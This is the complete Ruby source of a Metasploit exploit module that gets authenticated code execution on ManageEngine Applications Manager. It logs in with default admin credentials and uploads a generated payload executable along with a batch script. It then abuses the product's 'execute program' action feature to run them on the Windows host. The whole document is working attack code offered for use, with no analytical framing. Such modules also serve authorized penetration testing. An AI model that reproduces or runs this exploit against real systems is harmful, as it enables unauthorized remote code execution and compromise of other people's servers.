ManageEngine Applications Manager – (Authenticated) Code Execution (Metasploit)
## # $Id: manageengine_apps_mngr.rb 12281 2011-04-08 14:06:10Z bannedit $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize super( 'Name' => 'ManageEngine Applications Manager Authenticated Code Execution', 'Version' => '$Revision: 12281 $', 'Description' => %q{ This module logs into the Manage Engine Appplications Manager to upload a payload to the file system and a batch script that executes the payload. }, 'Author' => 'Jacob Giannantonio <JGiannan[at]gmail.com>', 'Platform' => 'win', 'Targets' => [ ['Automatic',{}], ], 'DefaultTarget' => 0 ) register_options( [ Opt::RPORT(9090), OptString.new('URI', [false, "URI for Applications Manager", '/']), OptString.new('USER', [false, "username", 'admin']), OptString.new('PASS', [false, "password", 'admin']), ], self.class) end def target_url "http://#{rhost}:#{rport}#{datastore['URI']}" end def exploit # Make initial request to get assigned a session token cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; " cookie << "am_username=;am_check=" begin print_status "#{target_url} Applications Manager - Requesting Session Token" res = send_request_cgi({ 'method'=> 'GET', 'uri' => "#{target_url}/webclient/common/jsp/home.jsp", 'cookie' => cookie.to_s }, 20) if !res print_error("Request to #{target_host} failed") return end if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/) cookie << "; #{$1}" print_good("Assigned #{$1}") else print_error("Initial request failed: http error #{res.code}") return end rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout return rescue ::Timeout::Error, ::Errno::EPIPE return end # send cookie to index.do begin print_status "Sending session token to #{target_url}/index.do" res = send_request_raw({ 'method' => 'GET', 'uri' => "#{target_url}/index.do", 'cookie' => cookie }, 20) if !res || res.code != 200 print_error("Request to #{target_url} failed") end rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout print_error("Request to #{target_url}/index.do failed") return rescue ::Timeout::Error, ::Errno::EPIPE return end # Log in with the assigned session token post_data = "clienttype2=html&j_username=" post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&" post_data << "j_password=" post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login" print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'") begin res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{target_url}/j_security_check", 'cookie' => cookie, 'data' => post_data.to_s }, 20) if !res print_error("Request to #{target_url} Failed") end # Server responds with a 302 redirect when the login is successful and # HTTP 200 for a failed login if res and res.code == 302 print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'") else print_error("Failed to log into #{target_url}") return end rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout print_error("Request to #{target_url}/j_security_check failed") return rescue ::Timeout::Error, ::Errno::EPIPE return end # initial request to upload.do # I think this is required to upload content later on. begin res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{target_url}/Upload.do", 'cookie'=> cookie, 'data' => post_data }, 20) if !res print_error("HTTP request to #{target_url} Failed") end rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout print_error("Request to #{target_url}/Upload.do Failed") return rescue ::Timeout::Error, ::Errno::EPIPE return end # Transfer the payload executable via POST request to Upload.do boundary = rand_text_numeric(11) payload_file = "#{rand_text_alphanumeric(20)}.exe" lines = "-----------------------------#{boundary}" content_disposition = "Content-Disposition: form-data; name=\"theFile\";" content_disposition << "filename=\"#{payload_file}\"\r\n" post_data = lines + "\r\n" + content_disposition.to_s post_data << "Content-Type: application/x-msdos-program\r\n\r\n" post_data << "#{generate_payload_exe}\r\n\r\n" post_data << lines + "\r\nContent-Disposition: form-data; " post_data << "name=\"uploadDir\"\r\n\r\n" post_data << ".\/\r\n#{lines}--\r\n" begin referer = "http://#{target_url}/Upload.do" res = send_request_raw({ 'method' => 'POST', 'uri' => "#{target_url}/Upload.do", 'headers' => { 'Referer' => referer, 'cookie' => "#{cookie}\r\nContent-Type: " + "multipart/form-data; " + "boundary=---------------------------#{boundary}", 'Content-Length' => post_data.length}, 'data' => post_data }, 20) if !res print_error("Request to #{target_url} failed") end if res and res.code == 200 print_good("Uploaded payload #{payload_file}") else print_error("Response HTTP #{res.code} and HTTP 302 expected") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Request to #{target_url}/Upload.do failed") return rescue ::Timeout::Error, ::Errno::EPIPE return end # Transfer the batch sript via POST request to Upload.do # The server will eventually call the batch script, which will call the payload.exe boundary = rand_text_numeric(11) bat_file = "#{rand_text_alphanumeric(20)}.bat" lines = "-----------------------------#{boundary}" content_disposition = "Content-Disposition: form-data; name=\"theFile\"; " content_disposition << "filename=\"#{bat_file}\"\r\n" post_data = lines + "\r\n" + content_disposition.to_s post_data << "Content-Type: application/x-msdos-program\r\n\r\n" post_data << "@ECHO off && \"C:\\\\program files\\ManageEngine\\AppManager9\\workin" post_data << "g\\#{payload_file}\"\r\n\r\n" post_data << lines + "\r\nContent-Disposition: form-data; name=\"uploadDir\"" post_data << "\r\n\r\n" post_data << ".\/\r\n#{lines}--\r\n" begin referer = "#{target_url}/Upload.do" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{target_url}/Upload.do", 'headers' => { 'Referer' => referer, 'cookie' => "#{cookie}\r\nContent-Type: multipart/form-data; " + "boundary=---------------------------#{boundary}", 'Content-Length' => post_data.length}, 'data' => post_data }, 20) if !res print_error("HTTP request to #{target_url} failed") return end if res and res.code == 200 print_good("Uploaded #{bat_file} to execute #{payload_file}") end rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout print_error("Request to #{target_url}/Upload.do failed") return rescue ::Timeout::Error, ::Errno::EPIPE return end action_name = "#{rand_text_alphanumeric(20)}" post_data = "actions=%2FshowTile.do%3FTileName%3D.ExecProg%26haid%3Dnull&ha" post_data << "id=null&method=createExecProgAction&redirectTo=null&id=0&disp" post_data << "layname=#{action_name}&serversite=local&choosehost=-2&host=&m" post_data << "onitoringmode=TELNET&username=&password=&description=&port=23" post_data << "&prompt=%24&command=#{bat_file}&execProgExecDir=" post_data << "C%3A%5CProgram+Files%5CManageEngine%5CAppManager9%5Cworking&a" post_data << "bortafter=10&cancel=false" # This client request is necessary because it sends a request to the server # specifying that we are interested in executing the batch script. If # successful, the server response body will contain an actionID that is # used to tell the server to execute the script. begin referer = "#{target_url}/showTile.do?TileName=.ExecProg&haid=null" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{target_url}/adminAction.do", 'headers' => { 'Referer' => referer, 'cookie' => cookie, 'Content-Type' => "application/x-www-form-urlencoded", 'Content-Length' => post_data.to_s.length}, 'data' => post_data.to_s }, 20) if !res print_error("Request to #{target_host} failed") end # We are parsing the response in order to determine the correct actionID. # My solution for doing this is to iterate through the HTTP response one # line at a time. The correct actionID always comes up several lines # after reading the name of the batch file 3 times. Even if other batch # files are mixed up in the list of actions to execute, ours is always # the next one after reading the batch file name 3 times if res and (res.code == 302 || res.code == 200) action_id = 0 x = 0 res.body.each_line do |k| k.strip! if((k =~ /&actionID=(\d{8})/) && (x == 3)) action_id = $1 break; elsif((k =~ /#{bat_file}/) && (x < 3)) x+=1 end end else print_error("HTTP error #{res.code} and HTTP 302 expected") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("HTTP request to #{target_url}/adminAction.do ") return rescue ::Timeout::Error, ::Errno::EPIPE return end begin referer = "#{target_url}/common/executeScript.do?" referer << "method=testAction&actionID=#{action_id}&haid=null" print_good("Requesting to execute batch file with actionID #{action_id}") res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{target_url}/common/executeScript.do?method=testAction&" + "actionID=#{action_id}&haid=null", 'headers' => { 'Referer' => referer, 'cookie' => "executeProgramActionTable_sortcol=1; " + "executeProgramActionTable_sortdir=down; " + "#{cookie}; executeProgramActionTable_" + "sortdir=down; executeProgramActionTable_sortcol=1", 'Content-Type' => "application/x-www-form-urlencoded"} }, 20) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Request to execute the actionID failed") rescue ::Timeout::Error, ::Errno::EPIPE end end end |